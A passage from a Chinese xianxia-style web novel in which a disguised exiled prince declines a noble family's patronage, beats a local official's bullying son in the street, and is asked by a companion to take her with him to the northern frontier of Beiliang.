柳承业碰了个软钉子,脸上笑容却丝毫不减,仿佛真的只是随口一问。
他转而问道:“那不知先生今年贵庚?”
这个问题,总该能回答了吧。
“二十。”
叶玄这次倒是回答得干脆。
一个无伤大雅的讯息,他并不介意透露。
柳承业心中一惊,二十岁!
二十岁便有如此神乎其技的医术,这已经不是天才能够形容的了,简直是妖孽!
他越发坚定了要将叶玄留在柳家的决心。
这样的奇人,若是能成为柳家的客卿,那柳家未来的百年基业,便稳如泰山!
试探无果,柳承业索性不再兜圈子,他放下酒杯,脸色变得前所未有的郑重。
“叶先生!”
他站起身,对着叶玄深深一揖。
“柳某有一不情之请!”
叶玄抬眸,目光落在他身上,平静地说道:“柳家主但说无妨。”
柳承业深吸一口气,沉声道:“柳某诚心,想请先生留在我柳家,担任客卿一职!”
“先生放心!只要您点头,您便是我柳家最尊贵的客人,地位与我平起平坐!府中资源,任您调遣!”
他顿了顿,眼中闪烁着炽热的光芒,抛出了一个更具诱惑的条件。
“不仅如此!柳某愿动用柳家在云安城的所有人脉和财力,为先生造势!我保证,一月之内,让‘神医叶潜渊’之名,响彻云安!”
“不出一年,先生之名,必将名动整个大乾王朝!”
这番话,掷地有声!
这已经不是简单的招揽,而是一份足以让任何江湖散人疯狂的承诺!
名与利,唾手可得!
柳夫人也在此刻柔声附和:“是啊,叶先生,您救了月雪,就是我柳家的大恩人,留在柳家,也方便我们报答您。”
然而,面对这滔天的诱惑,叶玄的脸上,依旧没有半分波澜。
他甚至连坐姿都没有改变,只是轻轻放下了手中的玉箸。
“多谢柳家主美意。”
他的声音很轻,却异常清晰。
“只是,叶某不能留下。”
什么?
柳承业脸上的笑容瞬间僵住,他几乎以为自己听错了。
柳夫人也是一脸错愕。
拒绝了?
他竟然拒绝了?
这世上,怎么会有人拒绝这等一步登天的机会?
柳承业急忙追问:“为……为什么?先生可是对柳某开出的条件不满意?您尽管提!只要柳某能办到,绝不推辞!”
叶玄摇了摇头。
他站起身,走到窗边,目光望向遥远的北方,眼神深邃。
“与条件无关。”
“此间事了,我便要动身,前往北凉。”
“北凉?!”
柳承业失声惊呼,脸上的错愕变成了浓浓的不解与骇然。
“先生,您……您没说笑吧?那北凉是什么地方?!”
“那是一片被诅咒的苦寒之地!天寒地冻,土地贫瘠,更有北蛮蛮子年年叩关劫掠,杀人如麻!朝廷早已视其为弃子,但凡过去的,不是死囚就是重犯!”
“好端端的,您去那九死一生的地方做什么?留在云安城,安安稳稳地做一个人人敬仰的神医,不好吗?”
柳承业是真的想不通。
放着天堂路不走,偏要闯那地狱门,这到底是为什么?
叶玄没有回头。
他能感受到体内《人皇镇狱经》带来的磅礴力量,那股力量让他对未来充满了绝对的自信。
一个小小的云安城,又怎能困住他?
他的战场,在更遥远的地方。
他缓缓开口,声音里带着一丝让人捉摸不透的意味。
“家师曾言,医者,当向死而生。”
“他说,安乐乡里,养不出真正的国手。唯有在最酷烈、最绝望之地,方能见证最极致的病痛,也方能磨砺出最顶尖的医道。”
“去北凉,是家师给我定下的历练。”
这番话,半真半假。
但落在柳承业耳中,却不亚于一道惊雷,震得他头脑发昏!
原来如此!
原来是这样!
他原本以为叶玄的医术已经登峰造极,却不想,在这位叶先生和他的师尊眼中,这仅仅只是开始!
他们追求的,根本不是凡俗的名利,而是那至高无上的医道!
何等高尚的情操!
何等伟大的胸襟!
一瞬间,柳承业心中所有的不解、疑惑,全都化作了滔天的敬佩与仰慕。
他看着叶玄的背影,仿佛在仰望一座高山。
“原来……是高人试炼,是柳某浅薄了,浅薄了啊!”
柳承业脸上满是羞愧,再次对叶玄深深一揖。
“既然是先生师门之命,柳某不敢再多做挽留。”
“只是,北凉路途遥远,凶险异常。先生孤身一人,柳某实在放心不下。”
他沉吟片刻,立刻说道:“这样,柳某为先生备足盘缠和一些珍稀药材,另外,我再修书一封,我在北凉那边,还有些生意上的故交,或许能为先生提供些许便利。”
“先生抵达北凉之后,若有任何需要,只需捎一封信回来,我柳家,愿为先生在后方提供一切支持!只当……只当是柳某对先生高尚品行的些许敬意!”
这,才是真正的投资。
不求回报,只为结下一份善缘。
叶玄缓缓转过身,脸上终于露出了一丝极淡的笑意。
这,才是他想要的结果。
一个稳固、可靠、且不会对他造成任何牵绊的后勤基地。
“如此,那便多谢柳家主了。”
他拱了拱手,坦然接受了这份好意。
一场暗流涌动的晚宴,至此尘埃落定。
叶玄兵不血刃,不仅全身而退,更成功为自己未来的北凉之行,埋下了一颗至关重要的棋子。
而他的心中,一个更加宏大的计划,正在缓缓拉开序幕。
北凉……
叶天,你以为把我发配到那片不毛之地,就是结束吗?
不。
那只是我们之间,这场游戏的真正开始。
第27章 我什么时候答应你了?
午后暖阳,透过听雨轩的雕花木窗,洒下斑驳的光影。
叶玄盘坐于软榻之上,双目紧闭。
他的呼吸悠长而平稳,宛如陷入了最深沉的睡眠。
然而,在他的体内,却正发生着翻天覆地的变化。
《人皇镇狱经》所化的金色洪流,已经不再是初时的狂暴汹涌,而是化作了一条温顺的大河,在他四肢百骸、奇经八脉中缓缓流淌。
每一次周天运转,都带走一丝最后的滞涩,带来一分全新的掌控。
七品炼神境巅峰的力量,浩瀚如烟海,如今却被他完美地收束于内,没有一丝一毫的外泄。
他缓缓睁开双眼,眸光深邃,宛如包含了星辰宇宙。
抬手,握拳。
空气中发出一声沉闷的爆鸣。
一种前所未有的强大感觉,充斥着他的心神。
这,就是力量。
足以让他将命运牢牢攥在自己手中的力量!
……
与此同时,柳月雪的闺房之中,暖意融融。
柳夫人坐在床沿,满眼心疼地看着自己的女儿,一边为她掖好被角,一边柔声细语地叮嘱着。
“雪儿,感觉身子好些了吗?还有没有哪里不舒服?”
一旁的苏轻雪,静静地看着这对母女,清冷的眸子里也难得地染上了一丝暖意。
这几日,她亲眼见证了表妹从病气沉沉到面色红润,心中对那位“叶先生”的手段,愈发感到深不可测。
“轻雪,你照顾雪儿也辛苦了,快去用些饭菜吧,别饿着了。”柳夫人转过头,感激地对苏轻雪说道。
“这里有我看着就行。”
苏轻雪微微颔首,应了一声“好”,便起身准备离开。
她莲步轻移,姿态优雅。
就在她一只脚即将迈出房门门槛的瞬间,身后传来了柳夫人带着一丝叹息的轻柔话语。
“雪儿啊,刚刚在饭局上聊天的时候,叶先生说过几日……就要走了。”
“走?去哪儿?”柳月雪的声音里带着一丝不易察觉的紧张。
“北凉。”
柳夫人声音压得很低,但这两个字,却如同两枚冰针,精准地刺入了苏轻雪的耳中。
北凉?!
苏轻雪的脚步,猛地一顿。
她没有回头,只是静静地站在门外,呼吸都为之停滞了一瞬。
她以为,叶玄化名叶潜渊,治好柳月雪,是为了在云安城寻一个安全的庇护之所,暂时躲避太子的追杀。
这很合理。
以他那手出神入化的医术,只要柳家愿意庇护,太子叶天想在云安城动他,也得掂量掂量。
可他为什么还要去北凉?
那个被世人称为“诅咒之地”、“流放囚笼”的绝境!
苏轻雪冰雪聪明,心思电转。
逃脱了太子的魔爪,不应该找个安稳的地方徐图后计吗?为何偏偏要去那个九死一生的地方?
除非……
一个大胆的念头在她脑海中闪过。
除非,去北凉,本就是他计划中的一环!
他根本不是在“躲”,而是在“进”!
可这怎么可能?
北凉那种地方,天高皇帝远,却也意味着毫无根基,举目无援。
他一个被废黜的皇子,孤身一人,去那里能做什么?
难道他在北凉还有所布置?
这个念头刚一升起,就被苏轻雪自己否决了。
不可能。
八皇子叶玄,自幼体弱,在京中就是一个近乎透明的存在,他哪来的能力和时机在北凉布局?
苏轻雪秀眉微蹙,心中充满了前所未有的疑惑。
这个男人,身上笼罩的迷雾,实在太浓了。
他就像一个深不见底的旋涡,让人看不透,猜不准,却又不由自主地被吸引,想要一探究竟。
……
时间一晃,又是两日过去。
这两日里,叶玄彻底巩固了七品炼神境的修为,举手投足间,再无半分力量失控之感,返璞归真。
而柳月雪的身体,也在叶玄每日一次的施针调理下,彻底康复。
困扰她多年的寒髓症,被连根拔除。
这日,天朗气清,惠风和畅。
叶玄为柳月雪做完最后一次复诊,确定她体内寒气尽消,气血充盈,便准备收起银针。
“叶先生……”
一道轻柔得如同羽毛拂过心尖的声音,忽然响起。
叶玄动作一顿,回头看去。
只见柳月雪不知何时已经坐了起来,她穿着一身淡绿色的罗裙,衬得肌肤胜雪,容光焕发。
往日的病弱苍白一扫而空,取而代之的是少女独有的娇嫩与活力。
此刻,她微微低着头,白皙的脸颊上,飞起了两片醉人的红霞,连带着小巧的耳垂都变得晶莹剔透。
她的声音细若蚊蚋,带着一丝紧张和期待。
“今日……今日天气甚好,雪儿……雪儿想出去走走,不知……不知先生可否……”
她鼓足了勇气,抬起水汪汪的眸子,飞快地看了叶玄一眼,又立刻垂下。
为了避免叶玄误会,她又急急地补充了一句。
“轻雪姐姐……也会一起去的!”
话音刚落,她整个人仿佛要燃烧起来一般,脸颊红得快要滴出血来。
站在一旁,正默默出神的苏轻雪,闻言不由得微微一怔。
她诧异地看了一眼自己的表妹。
我什么时候答应一起去了?
然而,看着柳月雪那满是祈求和羞赧的目光,苏轻雪心中一软,到了嘴边的话又咽了回去。
她只是静静地点了点头,算是默认了这件事情。
叶玄的目光在两位风华绝代的少女身上扫过。
一个娇羞可人,如雨后初荷。
一个清冷绝俗,似雪山冰莲。
他心中微动。
自己来到这云安城,确实还未曾好好逛过。
如今柳家之事已了,北上在即,出去走走,熟悉一下城中情况,或许能有什么意料之外的收获。
想到这里,他淡然一笑,点了点头。
“也好。”
“既然柳小姐盛情相邀,叶某便恭敬不如从命了。”
第28章 带着你的人,滚!
云安城,长乐街。
此街贯通南北,商铺林立,人流如织,乃是城中最繁华的所在。
今日的长乐街,似乎比往日更加热闹几分。
无数行人的脚步不自觉地放缓,目光也不由自主地汇聚向同一个方向。
那里,有三道身影,正缓步而行。
为首的,是一名青年。
他身着一袭月白锦袍,衣袂飘飘,身姿挺拔如松。
面容俊朗,眉眼间却带着一种与年龄不符的深邃与淡漠,仿佛世间万物,皆不入其眼。
在他的左侧,跟着一名清冷绝俗的女子。
她一袭白裙,不染纤尘,容颜清丽,气质如雪山之巅的冰莲,可远观而不可亵玩,拒人于千里之外的冷意,反而更添几分致命的吸引力。
而在青年右侧,则是一位娇俏可人的少女。
淡绿色的罗裙衬得她肌肤胜雪,大病初愈的她,脸上带着健康的红晕和对外界一切事物的好奇,一双水汪汪的眸子四处打量,带着几分怯生生的纯真。
这三人,正是叶玄、苏轻雪与柳月雪。
一个淡漠如渊,一个清冷如雪,一个娇羞如花。
这般神仙人物般的组合,无论走到哪里,都是绝对的焦点。
“天呐,那两位仙子是什么人?简直比天上的仙女还要美!”
“快看中间那个公子,好俊的相貌,好卓然的气度!不知是哪家的公子?”
“从未见过!你看他身旁那两位女子,任何一个都堪称绝色,他竟能得两人同时陪伴,想来身份定然不凡!”
街边的茶楼酒肆,无数窗口探出了脑袋。
路上的行人纷纷侧目,窃窃私语,有惊艳,有羡慕,亦有嫉妒。
柳月雪毕竟是柳家千金,虽常年闭门不出,但终究是本地人,此刻被这么多人注视,白皙的脸颊早已羞得通红,脑袋几乎要埋进胸口里,小手紧张地攥着自己的衣角。
苏轻雪则早已习惯了这种万众瞩目的感觉,神色依旧清冷,只是目光偶尔扫过身旁的叶玄,心中思绪万千。
叶玄对周围的目光恍若未闻。
他的心神,一半在观察这座云安城的风土人情,另一半,则在思考着北凉之行的具体规划。
对现在的他而言,这些凡夫俗子的注视,与路边的风,拂过脸颊的尘,并无任何区别。
就在此时。
长乐街尽头,最大的一座酒楼醉仙居的二楼雅间内。
几个衣着华贵的公子哥正推杯换盏,高谈阔论。
“听说了吗?城西的张麻子,前日本公子看上了他的女人,竟然不乐意,被我打断了腿,现在还躺在床上哼哼呢!”
“王少威武!区区一个泼皮,也敢跟王少争风,不自量力!”
一名满脸横肉的青年,正端着酒杯,唾沫横飞地吹嘘着自己的“光辉事迹”,周围几人纷纷阿谀奉承。
这青年,正是云安城兵马司副指挥使的独子,王腾。
突然,楼下一阵骚动,声音甚至盖过了他们的喧哗。
“嗯?下面怎么回事?这么吵?”
王腾有些不悦地皱起眉头,探头朝窗外看去。
只一眼,他的目光便被那道月白色的身影牢牢吸住。
起初,他只是觉得那道身影有些眼熟。
可当他仔细看清那人身上所穿的锦袍时,他脸上的醉意瞬间消失得无影无踪。
那锦袍!
月白底色,云纹滚边,袖口用金丝线绣着一朵小小的祥云暗纹!
这……这不是他上个月在裁缝铺花了三百两银子,专门定制的那一件吗!
前些日子府里遭了贼,丢了些财物,他最心疼的就是这件还没来得及穿几次的新袍子!
王腾的眼睛微微眯起,瞳孔中迸射出怒火。
他猛地一拍桌子,酒水四溅。
“妈的!”
他身旁一个瘦猴似的公子哥被吓了一跳,连忙问道:“王少,怎么了这是?”
王腾伸手指着楼下街道中央的叶玄,牙齿咬得咯咯作响。
“你!给老子仔细看看!”
“看那个穿月白袍子的男人!”
“他身上那件衣服,是不是老子前阵子丢的那件?!”
那瘦猴公子伸长了脖子,使劲往外瞅了瞅,随即眼睛一亮,一拍大腿。
“没错!王少,就是那件!那袖口的金丝祥云,小的记得清清楚楚!”
“好啊!”
王腾怒极反笑,脸色涨成了猪肝色。
“好一个不知死活的贼!”
“偷了本少爷的衣服,不仅没藏起来,还敢穿着它招摇过市!”
“身边还带着两个绝色美人!”
“这是在打本少爷的脸啊!”
他越想越气,胸中的怒火熊熊燃烧,几乎要将理智焚烧殆尽。
在云安城,谁不知道他王腾的威名?
今天,他不仅要拿回衣服,更要让这个不知天高地厚的蟊贼,当着全城人的面,付出血的代价!
“都给老子起来!”
王腾猛地起身,一脚踹翻了身后的椅子。
“跟我下楼!”
“今天,本少爷要亲手扒了他的皮!”
说罢,他便气势汹汹地带着几个狗腿子,冲下了酒楼。
……
街道上。
叶玄三人依旧在缓步前行。
柳月雪已经稍稍适应了众人的目光,正好奇地看着路边一个卖糖人的小摊。
苏轻雪则在想,以叶玄的性格,为何会答应这种无聊的逛街请求。
突然,叶玄的脚步微微一顿。
他那古井无波的眸子里,闪过一丝几不可察的异色。
一股毫不掩饰的、充满恶意的气息,正从前方朝他们笔直地冲来。
几乎是同一时间,苏轻雪也秀眉微蹙,抬眼望去。
只见几个一看就不是善类的公子哥,在一众家丁的簇拥下,正满脸煞气地朝这边快步走来。
所过之处,行人们纷纷惊恐地避让。
两人的目光在空中短暂交汇了一瞬。
麻烦来了。
叶玄心中波澜不惊。
他自认化名叶潜渊,在云安城行事低调,除了柳家,应该无人认识自己,更谈不上结仇。
想来,这群人应该是冲着别人去的。
多一事不如少一事。
他轻轻拉了一下柳月雪的衣袖,示意她跟上,随即带着二女,主动向路边退开几步,将主干道让了出来。
这个举动,是息事宁人的姿态。
然而,叶玄想错了。
那群气势汹汹的公子哥,并没有从他们让出的道路上经过。
他们径直走到三人面前,然后“哗啦”一下散开,形成一个半圆形的包围圈,将叶玄三人死死地堵在了中间。
路边的行人见状,更是远远地躲开,但又舍不得离去,伸长了脖子准备看一场好戏。
柳月雪何曾见过这种阵仗,吓得小脸煞白,下意识地躲到了叶玄的身后。
苏轻雪则是黛眉紧锁,清冷的目光扫过为首的王腾,眼中闪过一丝厌恶。
叶玄的眉头,终于皱了起来。
他看着面前一脸狞笑的王腾,语气平淡地开口。
“各位,有事?”
他的声音不大,却清晰地传入了每个人的耳中,带着一种奇特的镇定人心的力量。
“有事?”
王腾像是听到了天大的笑话,他上前一步,用下巴指着叶玄,眼神充满了鄙夷和不屑。
“小子,揣着明白装糊涂是吧?”
“本少爷要干什么,你心里没点数吗?”
说着,他身边一个狗腿子立刻会意,狞笑着伸出手,就想去推搡叶玄的肩膀,嘴里还不干不净地骂道:
“哪来的野小子,敢偷我们王少的……”
话未说完,他的动作却猛地僵住了。
他的手,明明已经快要碰到叶玄的肩膀,却像是被一道无形的墙壁给挡住了,无论他如何使劲,脸都憋得通红,那只手却再也无法前进分毫。
而叶玄,自始至终,连动都未曾动一下。
他只是静静地站在那里,身形如渊渟岳峙,稳如泰山。
叶玄缓缓抬起眼帘,深邃的目光落在了那个狗腿子的脸上。
那目光很平静。
没有愤怒,没有杀意,甚至没有任何情绪。
然而,就是这样一道平静的目光,却让那狗腿子如坠冰窟,浑身汗毛倒竖,一股源自灵魂深处的恐惧,让他不由自主地打了个哆嗦,踉跄着后退了两步。
全场,瞬间一静。
王腾脸上的狞笑也僵住了。
他虽然纨绔,但不是傻子,眼前这一幕,透着一股说不出的诡异。
叶玄这才将目光重新移回到王腾的身上,声音比刚才冷了几分。
“我不知道你在说什么。”
“现在,带着你的人,滚。”
第29章 衣服?什么衣服?这不是我的吗?
滚。
一个字,如同一道惊雷,在嘈杂的长乐街上空炸响。
时间,仿佛在这一刻静止了。
所有看热闹的行人都愣住了,他们难以置信地看着那个月白锦袍的青年,怀疑自己的耳朵是不是出了问题。
王腾脸上的狞笑,彻底僵硬。
他身边的几个狗腿子,也全都傻眼了。
在云安城,还从来没有人敢用这种语气跟王腾说话。
更何况,还是一个如此简单粗暴,充满无尽蔑视的字。
短暂的死寂之后,是火山般的爆发!
“你他妈的……找死!”
王腾的脸瞬间涨成了猪肝色,青筋在他的额头和脖子上如同蚯蚓般暴起,五官扭曲得不成样子,显得格外狰狞。
他身为兵马司副指挥使的独子,在云安城横行霸道惯了,何曾受过这等奇耻大辱!
尤其还是当着这么多人的面!
“你知不知道本少爷是谁!”
王腾歇斯底里地咆哮着,唾沫星子横飞。
“在这云安城,你敢惹我王腾,我让你见不到明天的太阳!”
叶玄的眼神,没有丝毫波动,仿佛在看一个跳梁小丑。
他甚至懒得再多说一个字。
这种漠视,比任何言语上的羞辱都更让王腾抓狂。
“还愣着干什么!”
王腾猛地回头,冲着那群已经吓得有些腿软的家丁怒吼。
“给老子一起上!”
“打断他的四肢!把他舌头割了!”
“还有那两个小美人,一起给本少爷抓回府上!”
他已经彻底被愤怒冲昏了头脑,只想用最残忍的方式,让叶玄付出代价,以泄心头之恨。
那群家丁闻言,虽然心中畏惧叶玄刚才那诡异的手段,但更怕自家少爷的怒火,只能硬着头皮,握紧了拳头,发出一声呐喊,壮着胆子朝叶玄冲了过去!
“叶公子!”
柳月雪吓得花容失色,紧紧抓住了叶玄的衣袖。
苏轻雪的眼中也闪过一丝凝重,体内真气微动,已然做好了出手的准备。
然而,叶玄却只是轻轻拍了拍柳月雪的手背,示意她安心。
下一刻。
他的身形动了。
不,或许用“动”这个字来形容并不准确。
在所有人的眼中,他仿佛只是原地轻轻晃了一下。
一道残影,如鬼魅般,一闪而过。
“砰!砰!砰!砰!”
一连串沉闷的骨肉撞击声,伴随着凄厉的惨叫,几乎在同一时间响起!
冲在最前面的几个家丁,身体如同断了线的风筝,以比冲过来时更快的速度倒飞了出去,重重地砸在街道两旁的商铺墙壁上,又滚落在地。
每个人都胸口凹陷,口中鲜血狂喷,四肢以一种诡异的角度扭曲着,显然是骨头尽断。
只一瞬间,十几名气势汹汹的家丁,便全都躺在地上,哀嚎着失去了战斗力。
整个长乐街,鸦雀无声。
落针可闻。
所有人都瞪大了眼睛,嘴巴张得能塞下一个鸡蛋,满脸的骇然与不可思议。
他们甚至没看清发生了什么!
王腾脸上的咆哮与狰狞,凝固成了极致的恐惧。
他眼睁睁地看着自己的手下在一瞬间就被全部解决,那股发自骨髓的寒意,让他浑身冰冷,双腿不受控制地颤抖起来。
这时,他看到那道月白色的身影,已经重新回到了原地,仿佛从未离开过。
叶玄缓缓抬起头,那双深邃淡漠的眸子,落在了王腾的身上。
王腾只觉得浑身一僵,像是被一头远古凶兽盯上,连呼吸都变得困难起来。
“你……你别过来!”
他色厉内荏地尖叫着,脚步不受控制地向后踉跄。
“我爹是王德发!是兵马司副指挥使!你敢动我,我爹不会放过你的!”
叶玄的嘴角,勾起一抹冰冷的弧度。
他迈开脚步,不急不缓地,一步一步,朝着王腾走去。
每一步,都像是踩在王腾的心脏上,让他脸上的血色褪尽,化为一片死灰。
“你不是想要这件衣服吗?”
叶玄的声音很轻,却清晰地传入了王腾的耳中。
“我……我不要了!衣服是您的!是小的有眼不识泰山!”
王腾“噗通”一声,双腿一软,竟是直接跪倒在地,涕泪横流地开始求饶。
然而,叶玄的脚步并未停下。
他走到王腾面前,居高临下地俯视着他,眼神中没有丝毫怜悯。
“可惜,晚了。”
话音落下的瞬间,叶玄抬起了脚。
“咔嚓!”
一声清脆得令人头皮发麻的骨裂声响起!
叶玄的脚,精准地踩在了王腾的右腿膝盖上。
“啊——!”
撕心裂肺的惨叫声,划破了长街的宁静。
王腾抱着自己那条已经不自然弯曲的右腿,在地上痛苦地翻滚着,声音凄厉得不似人声。
叶玄收回脚,看都未再看他一眼,仿佛只是踩碎了一只碍事的蚂蚁。
他转身走回到苏轻雪和柳月雪的身边。
柳月雪早已吓得小脸惨白,躲在苏轻雪身后,却还是忍不住透过缝隙,偷偷看着叶玄的背影,那双水汪汪的眸子里,除了恐惧,更多的是一种莫名的震撼与心安。
苏轻雪则一言不发,只是用一种前所未有的复杂目光,深深地看着叶玄。
这个男人,比她想象中……还要更加深不可测,也更加果断狠辣。
“我们走吧。”
叶玄的语气恢复了平静,仿佛刚才那个雷霆出手,废人手脚的狠戾之人,根本不是他。
他带着二女,转身离去。
周围的人群,如同潮水般,惊恐地向两旁退开,自动为他们让出了一条宽阔的道路。
每个人的眼神中,都充满了敬畏。
直到三人的背影消失在长乐街的尽头,这片死寂才被打破,瞬间化为冲天的哗然。
而街道中央,只剩下满地的狼藉,和王腾那依旧在回荡的、痛苦的哀嚎。
“混账,你们还躺在地上干什么?还不赶紧带我回家!”
王腾见到叶玄三人走远了之后,才敢让人将自己扶起来,随后屁滚尿流的朝着家里跑去。
第30章 你想跟我去北凉?
城南,兵马司副指挥使府邸。
王腾凄厉的惨叫声,打破了府内的宁静。
几个家丁手忙脚乱,连滚带爬地将他从马车上抬下来,一路朝着内院而去,血迹滴滴答答地洒了一路。
“快!快去请城里最好的大夫!”
“少爷的腿……少爷的腿断了!”
管家惊慌失措的声音在府里回荡,整个王府瞬间乱成了一锅粥。
不多时,一个身材魁梧,面容黝黑,身穿一身官袍的中年男人,龙行虎步地从前厅冲了出来。
他正是云安城兵马司副指挥使,王德发。
王德发看着被人抬在担架上,抱着断腿痛苦哀嚎,满脸涕泪的独子,那双铜铃般的大眼瞬间布满了血丝。
“腾儿!我的儿!这是怎么回事!”
他三步并作两步冲上前,声音如同炸雷,震得周围的家丁瑟瑟发抖。
“爹!爹啊!我的腿……我的腿断了!好痛啊!”
王腾一见到自己的老子,哭得更加撕心裂肺,仿佛受了天大的委屈。
“谁干的!?”
王德发猛地回头,一把揪住旁边一个吓得面无人色的家丁的衣领,几乎将他提离了地面。
“说!是谁把我儿子伤成这样的!”
那家丁被他身上的煞气吓得魂不附体,结结巴巴地将长乐街上发生的事情,添油加醋地描述了一遍。
“……那……那个偷了少爷月白锦袍的小子,二话不说,就……就把兄弟们全打趴下了,然后……然后一脚踩断了少爷的腿……”
“砰!”
王德发一脚将那家丁踹飞出去,胸中的怒火如同火山喷发,几乎要将他的理智焚烧殆尽。
“好!好一个狂徒!”
王德发气得浑身发抖,咬牙切齿地说道。
“在老子的地盘上,偷老子东西,打老子的儿子!简直是无法无天!”
他王德发虽然大字不识一个,靠着一身军功才爬到今天的位置,但他最看重的就是两样东西,一个是他老来得子的独苗王腾,另一个就是他这张脸面!
如今,儿子被人当街打断了腿,这不仅仅是伤了他儿子,更是在众目睽睽之下,狠狠地抽了他王德发的脸!
这口气,他如何能咽得下!
“来人!”王德发怒吼一声。
“属下在!”一队披坚执锐的兵士立刻从院外冲了进来,单膝跪地。
“封锁四方城门!全城搜捕!”
王德发面目狰狞,声音里充满了毫不掩饰的杀意。
“把那小子,还有他身边那两个女人的画像画出来,分发下去!告诉所有人,但凡提供线索者,赏银百两!”
“一旦找到,不论死活,给老子带回来!”
“老子要将他千刀万剐,挫骨扬灰,方解心头之恨!”
“是!”
兵士领命,迅速退下。
整个王府,都被一股山雨欲来的暴戾气息所笼罩。
……
柳府。
回到熟悉的庭院,空气中弥漫的淡淡墨香与花香,终于冲散了长乐街上残留的血腥与喧嚣。
柳月雪仍然心有余悸,一张俏脸微微发白,她紧紧跟在苏轻雪身后,时不时地,会用一种极为复杂的眼神,偷偷瞥向前方的叶玄。
那道月白色的背影,明明看起来那般清瘦,甚至带着几分文弱,可就在刚才,却展现出强大的力量与冷酷。
那种极致的反差,让她感到恐惧的同时,心底深处又不受控制地生出一丝莫名的悸动与前所未有的安全感。
苏轻雪走在中间,神色恢复了往日的清冷,但那双秋水般的眸子里,却涌动着深沉的思索。
叶玄的实力,再次超出了她的预估。
叶玄走在最前面,神色平静如水,仿佛刚才什么事都没有发生过。
对付王腾那种货色,于他而言,确实和碾死一只蚂蚁没什么区别,甚至无法在他心湖中激起半点涟漪。
“今日之事,扫了二位的兴致,是在下的不是。”
叶玄停下脚步,转身看向二女,语气中带着一丝歉意。
“不……不关叶公子的事,是那王腾欺人太甚!”柳月雪连忙摆手,小声说道。
苏轻雪则深深地看了他一眼,缓缓开口:“叶公子,你可知你今日废了的人,是谁?”
“兵马司副指挥使之子,王腾。”
叶玄淡淡回答。
苏轻雪眼眸死死盯着叶玄。
她追问道:“那你可知,他的父亲王德发,是何等样人?”
“不曾听闻。”叶玄的回答依旧云淡风轻。
苏轻雪心中微沉,提醒道:“王德发此人,行伍出身,脾气火爆,不通文墨,却极为护短。你今日当街废了他唯一的儿子,他绝不会善罢甘休。恐怕此刻,整个云安城的兵马,都已经在搜捕你了。”
叶玄闻言,只是不置可否地笑了笑。
这丝笑容落在苏轻雪眼中,却让她感到一阵无力。
这个男人,究竟是自信,还是自负?
她不再多言,带着依旧有些失神的柳月雪回了后院。
叶玄则返回了自己的客房。
他确实没将一个王德发放在眼里,区区一个地方兵马司的副指挥使,在他眼中与蝼蚁无异。
他现在思考的,是离开云安城,前往北凉的行程。
此地之事已了,不宜久留。
他简单收拾了一下本就不多的行囊,正准备向柳家辞行。
“咚咚咚。”
一阵清脆的敲门声响起。
“八皇子,是我,苏轻雪。”
门外传来一道清冷悦耳的声音。
叶玄眉梢微挑,打开了房门。
苏轻雪一袭白裙,静立于门外,月光洒在她的身上,让她看起来宛若不食人间烟火的仙子。
“苏姑娘深夜到访,有何要事?”叶玄开门见山。
苏轻雪迈步走进房中,目光扫过他床边那个小小的行囊,眸光微动。
“看来八皇子已经打算离开了。”
“不错。”叶玄坦然承认。
“你走不了。”苏轻雪的语气十分笃定,“王德发已经下令封锁了全城,正在大肆搜捕。你此刻出城,无异于自投罗网。”
叶玄饶有兴致地看着她,嘴角勾起一抹玩味的笑意:“苏姑娘既然这么说,想必是有办法帮我离开?”
他很清楚,像苏轻雪这样聪明的女人,绝不会无的放矢。
她深夜前来,告知自己危险,必然有她的目的。
“办法,自然是有的。”
苏轻雪迎上他的目光,清冷的眸子里,闪烁着智慧的光芒。
“王德发虽是兵马司副指挥使,但云安城并非他一手遮天。柳家在城中经营多年,颇有人脉,若想送一个人悄无声息地出城,并非难事。”
“哦?”叶玄脸上的笑意更深了,“那苏姑娘,需要叶某付出什么代价呢?”
天下没有免费的午餐,这个道理,他比谁都懂。
苏轻雪沉默了片刻,似乎在组织语言,又像是在下定某种决心。
终于,她抬起头,那双清澈的眼眸直视着叶玄,一字一句地说道:
“我的条件很简单。”
“我要你,带我一起去北凉。”
话音落下,房间内陷入了一片寂静。
叶玄脸上的笑容,缓缓收敛。
他那双深邃的眸子,如同两口幽深的古井,静静地凝视着苏轻雪,仿佛要将她整个人都看穿。
北凉。
她要去北凉。
这绝不是一个巧合。
“苏姑娘,你可知道北凉是什么地方?”叶玄的声音变得低沉了几分。
“知道。”苏轻雪毫不退缩,“大乾最苦寒的边境,蛮族环伺,战乱不休,九死一生之地。”
“既然知道,你为何还要去?”
“这是我的事。”苏轻雪的语气依旧清冷,却带着一丝不容置疑的坚决。
叶玄笑了,只是这次的笑容里,带上了一丝冷意。
“苏姑娘,你未免也太看得起我了。我自身尚且难保,如何能带着你这么一个娇滴滴的大小姐,去闯那龙潭虎穴?”
“更何况,”他话锋一转,眼神变得锐利起来,“我为什么要答应你?”
他迈出一步,逼近苏轻雪,一股无形的压迫感笼罩而下。
第31章 你敢不敢赌一下?
叶玄迈步逼近,一股无形的压迫感笼罩而下,那双清冷的眸子,此刻却锐利如刀。
“我为什么要答应你?”
叶玄的声音很轻,却带着一股不容置疑的上位者气息。
他看着眼前这个胆大包天的女人,心中倒是生出了几分欣赏。
敢在他面前谈条件,甚至是以一种近乎威胁的姿态,这苏轻雪,要么是蠢得无可救药,要么就是有着足以让她自信的底牌。
显然,她属于后者。
房间内的空气,仿佛在这一刻凝固了。
窗外的月光透过窗棂,在地上投下斑驳的光影,将两人的身影拉得极长。
面对叶玄那几乎要将人灵魂都洞穿的目光,苏轻雪非但没有退缩,反而嘴角勾起一抹浅淡的弧度。
那笑容,清冷,却又带着一丝说不清道不明的意味。
“叶公子,你似乎误会了一件事。”
“哦?”叶玄眉梢一挑,示意她继续。
“你如今是柳家的座上宾,月雪表妹的救命恩人,柳家自然会对你礼遇有加。”苏轻雪的声音不疾不徐,条理清晰,“若你只是想悄无声息地离开云安城,以柳家的能量,确实不难办到。”
她顿了顿,目光落在叶玄身上,仿佛在审视一件稀世珍宝。
“可问题是,柳伯父他们,真的知道你的‘价值’吗?”
叶玄眼神微凝,没有说话。
苏轻雪继续道:“在他们眼中,你或许是一位医术高超的游方郎中,或许是一位身手不凡的江湖侠客。他们会敬你,会帮你,但这份帮助,是有限度的。”
“帮你离开云安城,避开王德发的追捕,这已经是他们能做到的极限。可然后呢?王德发找不到你,难道不会迁怒于柳家?柳家虽是云安大族,但面对一个手握兵权、状若疯狗的兵马司副指挥使,真的能安然无恙吗?”
